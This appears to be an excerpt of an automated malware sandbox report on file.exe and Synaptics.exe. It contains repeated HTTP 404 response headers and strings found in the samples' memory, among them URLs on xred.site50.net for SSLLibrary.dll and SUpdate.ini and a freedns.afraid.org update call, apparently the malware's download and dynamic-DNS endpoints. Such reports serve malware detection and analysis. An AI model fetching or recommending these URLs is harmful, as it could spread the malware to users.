Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7sxEbNS76X6pgP2WsCwOOMjL4inhb2FfK8gxzAcj7Zp5b-OCWjiyZn6QQmN9mMlg4lContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:58 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-ZbbT_gl7wNOg7GJv-0E9DQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC57qBg0LQXbAF_6JJ8kSpqUIz-f0rDNfj3JpRXKil9Z24WuaLqpcW4FQKx8p6jGm_9MHXeia5IContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:59 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-EAZiL7Mi-yzXcSfvcF9gRw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5xScwd9Emr_5lJa8faC5DPsTS2UdgqYRMkiDSJBWCBkLG5dXup1XHahs2znXWNhWATMJQ3YZMContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:28:59 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-F5XKtyB3F5uu1IXOTOLPNw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4pppNRaW653HcOjt6jGv_q3TJGb_RmL9tJBKwwwMoVY-9tTZzRnz7Dq3DeR5SaCTrPWTAhpD4Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:02 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-dTuf9lp9Fj9yVhoZ0vYvQw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7x_5nyAiVjITLIDhqzhJqUO8LTKoUuAWlPix7K_dWYi4zVVrfCqDtgKs3SHMV96oKnContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:02 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-g7MUMyhOLoOJ_v68WZNxJw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4SVVuPGystgTqYrMW7YW5RTpms6PDOZlRb0Cd76JNwQ71Dsv8Vky83vozyh2FnCBTPContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:03 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-2owH3QfVdReI9ECDf6eWWw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7rKIoArbK9-xNihC6Nihp6BjiLUEpnWQIJnRfTvZFSVe6JRIOzH6v0Zm5dwUJT66GBContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:03 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-bjJuXhbnJbf1qxQjKZu8sA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4nLeYQLc_FQ1fsetmiw9HQcNnLlgDfs9aIMwhBHfaRN7i_N3Otma8Yg5TNLfC2OgGsVN6cVQ8Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:06 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-mtSFe2q3kNAhN3EzYG1Caw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6K1pS17FB8wrBehH-MVjf7nCJChgF-s9iuDWu9Yqf1QI2hDcwtGge_3bJfo3oqRcJQContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:06 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-o9vQxVZtv92KiitxnNfj6g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5c5_cx5JtDhMjliOz2gDqtxM8GrHZ_dkKoEsfTrxTW3OsBvBer0OWN9lNCnT-KcbSLzQdeTgAContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:07 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-3CmFoCo0ThRA4XCWkqNwQw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC67cDif-fXphchCMtPRx5GOMEZA13_tBnWCzrnHvJ-x3tJ_2G4nuEgzlyjM_BPOv-2DContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:07 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-Q5Kbl5cVSNRvdmeZCVSBkg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7MVW0ex6C40zPd7_AlPpYENvqtpTeK8nHCWjX0ZszwOdkk9T8l0waD7WXEmLLTiazS45h7ABUContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:10 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-93OQCmYpfaxyLoo3l_906A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6oyd6FE8f3JZrL5kH47JlI-KrYyxX7u4mVTDHksoSfREQ-o9txBCV1riP5SI3PERbBContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:10 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-mCrFuil6sQexYP7sBRU7Zw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6d4N6sbS1U5SrFyka_PNWrqsXN6fsEyhbjY3_a7g0BYp_PkCXstNzheJDDYYVAlEiWContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:11 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-yn5gJCvDm4iDwA0koCEEUw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7qKZ-Ch7ykUXVPeDJtJ9aQWPB2TZ_tyc2GS4ampNAob97_W0NMk1eOcdrtJMaJgl7sContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:11 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-HC0UTLg8Kzo6ky6d-EV76Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC57h7V7oGzOOBPspwXtg3jIafN3vxWVYNPrWAVnXaJXXo1ZvyhDV7K545PRk63ESxk0Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:14 GMTCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-kutGwEneinC47jzGTW2xWg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6aAu8KDs9fU3KFi61DsjkiSrtZu3XX1GQP6zk6JsdhRcBuxfTls9gbST3tozULUT0TContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:14 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-_NsRMNp2SPM6dJVfQ6gwfw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC61Zg0vS7jBu1EUMRvvImLDocrKWLv0nyzrnwESq69acmWnX6Nnm0ns0DEHWWfcWcyxContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:26 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-a-kuZ8RC-DOSXwedM79IIw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6j_yUtEb9YrY1r8sLJ_jnEEE5iGzcTk4idw09oGWeA4Ze1sqQgi0t5zuzjQmjpw5swContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:27 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-fOriGhUOzLGtCv_8VjqUhw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close

Source: file.exe, 00000000.00000000.2129162896.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, Synaptics.exe, 00000003.00000002.2940697198.00000000005E3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2941439601.0000000002110000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe.0.dr, RCXF93C.tmp.0.dr, ~$cache1.3.dr	String found in binary or memory: http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
Source: Synaptics.exe, 00000003.00000002.2940697198.00000000005E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978O
Source: file.exe, 00000000.00000003.2137515350.00000000022C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978t
Source: file.exe, 00000000.00000003.2137515350.00000000022C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dl
Source: file.exe, 00000000.00000000.2129162896.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, Synaptics.exe, 00000003.00000002.2941439601.0000000002110000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe.0.dr, RCXF93C.tmp.0.dr, ~$cache1.3.dr	String found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dll
Source: file.exe, 00000000.00000000.2129162896.0000000000401000.00000020.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2137515350.00000000022C0000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, Synaptics.exe, 00000003.00000002.2941439601.0000000002110000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe.0.dr, RCXF93C.tmp.0.dr, ~$cache1.3.dr	String found in binary or memory: http://xred.site50.net/syn/SUpdate.ini
Source: file.exe, 00000000.00000003.2137515350.00000000022C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/SUpdate.ini0
